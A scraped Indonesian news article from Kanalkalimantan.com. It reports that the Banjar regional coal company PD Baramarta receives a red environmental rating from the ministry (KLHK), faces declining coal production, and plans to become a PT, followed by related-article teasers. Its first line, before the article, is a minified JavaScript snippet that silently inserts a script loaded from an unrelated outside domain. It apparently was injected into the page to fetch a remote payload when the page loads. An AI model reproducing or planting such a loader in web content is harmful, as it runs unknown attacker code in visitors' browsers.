(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Rapor merah yang diterima oleh Perusahaan Daerah (PD) Baramarta, Kabupaten Banjar, dari Kementerian Lingkungan Hidup dan Kehutanan (KLHK), membuat jajaran usaha plat merah tersebut harus berbenah diri.
Humas PD Baramartha Haris mengatakan, pihaknya akan meminta pembinaan dari provinsi terkait dengan status merah yang diberikan KLHK.
“Agar tidak terulang, nanti kita akan minta pembinaan kepada pihak provinsi untuk bisa memperbaiki,” ujarnya kepada Kanalkalimantan.com, Kamis (18/1) di kantornya.
Haris mengatakan, saat ini penghasilan PD Baramarta mengalami penurunan. Hal ini disebabkan lahan tambang batu bara yang kian hari kian menurun produksinya.
“Secara produksi sekarang menurun. Deposit Batubara kita semakin hari semakin berkurang, lahan yang kita kerjakan sudah hampir habis, sementara untuk membuka lahan baru lagi, badan hukum kita tidak membolehkan,” jelasnya.
Terkait hal tersebut, saat ini sedang diubah status PD Baramarta menjadi PT. Menurut Haris perubahan status tersebut untuk memudahkan pihaknya untuk melebarkan usaha lain selain tambang batubara. “Salah satunya agar kita bisa menggarap usaha lain, selain tambang batu bara, nantinya kita juga bisa menggarap sektor pertanian, pariwisata, perkebunan, dan perhotelan” tuturnya.
Haris mengaku saat ini terasa berat, di saat harga batubara mulai bagus, namun produksi batubara sangat menurun. “Sekarang sangat berat, padahal harga batu bara saat ini sangat bagus, tapi produksi kita lagi menurun, karena lokasinya yang udah hampir habis†ungkapnya.
Menurutnya dengan perubahan status itu nantinya akan memperbesar peluang untuk mendapatkan keuntungan yang lebih. Dan di ketahui saham terbanyak masih di miliki pemerintah Kabupaten Banjar.
Sebelumnya, KLHK memberikan label merah pada PD Baramarta melalui Program Penilaian Peringkat Kinerja Perusahaan Nasional (Propernas). Diduga, rapor merah tersebut berkaitan dengan pengelolaan air asam tambang PD Baramarta.
Terkait status tersebut, Haris mengakui kecewa. Meskipun saat ini belum menerima rilis tentang apa saja yang membuat mereka menerima hasil buruk itu. “Kecewa itu pasti, tapi kita terima dengan lapang dada, dan jujur sampai hari ini kita belum menerima rilisnya, apa yang membuat kami menerima hasil itu,” ujarnya. (hendera)
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.